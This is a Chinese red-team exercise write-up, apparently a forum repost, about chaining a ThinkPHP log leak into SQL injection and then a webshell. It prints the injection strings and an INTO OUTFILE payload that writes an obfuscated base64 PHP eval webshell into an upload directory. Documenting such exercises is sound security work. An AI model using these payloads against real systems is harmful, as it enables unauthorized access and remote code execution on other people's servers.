攻防|记一次日志泄露到GetShell

2023-11-14 11:26:02 浏览数 (1)

在一次攻防演练中,遇到这么一个站点 该站点基于ThinkPHP框架开发,且存在日志泄露,故事就从这个日志泄露开始了 信息收集 1. 老话说的好,渗透的本质就是信息收集,而信息搜集整理为后续的情报...

在一次攻防演练中,遇到这么一个站点

该站点基于ThinkPHP框架开发,且存在日志泄露,故事就从这个日志泄露开始了

信息收集

1. 老话说的好,渗透的本质就是信息收集,而信息搜集整理为后续的情报跟进提供了强大的保证,进入该站点发现只有三个功能点,逐个进行查看

2. 进入第一个功能点

。。。发现直接报404,还有条狗看着家

3. 进入第二、三个功能点,发现是一个注册表单,第三个也为404

4. 他写三个难道就只有三个功能嘛?我不信,开扫!

敏感文件这不就来了嘛

5.通过目录扫描发现该站点存在eclipse配置文件泄露

访问/.settings/org.eclipse.core.resources.prefs 获取到项目里的所有功能点

org.eclipse.core.resources.prefs解释

org.eclipse.core.resources.prefs文件其实就是规定项目内的文件的编码用的。一般来说一个项目里的文件编码需要一致,特别是文件文本内容本身无法指示文件本身编码的(比较绕,XML文件第一行能指示自身编码,CSS也有这个能力但用得不多),尽量不要多种编码同时存在(最好在编码规范中禁止多重编码同时存在的现象发生)

Eclipse中.setting目录下文件介绍

6.该站点基于ThinkPHP框架开发,上工具跑出日志泄露

该工具下载地址:

https://github.com/Lotus6/ThinkphpGUI

进行测试

挨个访问功能页面

有两个上传点,尝试上传

发现403了...

7.逛完一圈发现后台路径被改,文件上传403,功能都改了或者删掉了

没头绪。。。

去翻翻日志吧。。。

喔唷~这是啥,这不是我前台测试时打的单引号嘛

日志中居然存在Sql执行语句

8.Sql语句记录到日志中,并发现Sql语句报错信息,语句闭合为 )

这时候就可以靠 ThinkPHP日志泄露 Sql注入打一个组合拳了,以后谁还敢说ThinkPHP日志泄露没危害的!

9.开始着重对该功能进行测试

因为该功能点有验证码,便对其进行手测,成功获取到MariaDB数据的版本信息,与权限信息

10.开始读文件,可是没有物理路径咋办呢,那就找!

在目录扫描的时候存在一个demo目录,这不就有了吗

11.为啥要读文件呢,因为查权限就没那个必要,还浪费时间,能读就能写。

尝试读取win.ini,跟本地win.ini做对比,发现成功读取到win.ini

12.可是接下来头又痛了,使用order by 判断表列数不回显,且日志不记录Sql语句,有验证码又懒得构造盲注语句了 那咋办?只能掏笨方法了

13. 先用union select 尝试写一下文件看看报什么错

The used SELECT statements have a different number of columns

提示列数不同,也就是我写的列数不对,继续测试

14. 直接手动判断列数写文件,最终在第9列成功写入文件 从 1) union select 1 into outfile 'xxx/reg/upload/1.php' --

1) union select 1,2,3,4,5,6,7,8,'1' into outfile 'xxx/reg/upload/1.php' --

写入Webshell

15.

构造语句:

1) union select 1,2,3,4,5,6,7,8,from_base64('PD9waHAgZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgnZUp4TExVdk0wVkNKRC9BUERvbFdUODVOVVkvVnRBWUFSUVVHT0E9PScpKSk7Pz4=') into outfile 'xxxx/reg/upload/7fa0b347c86e45522a1d6606731002c9.php' --

成功获取到Webshell,到后面发现,那条安全狗根本就没用~.~

当然不建议各位用这个笨方法,因为有些表的列数特别多 好几十条,还是得先判断的 结束,拿Shell收工!

原文链接:https://forum.butian.net/share/2509

0 人点赞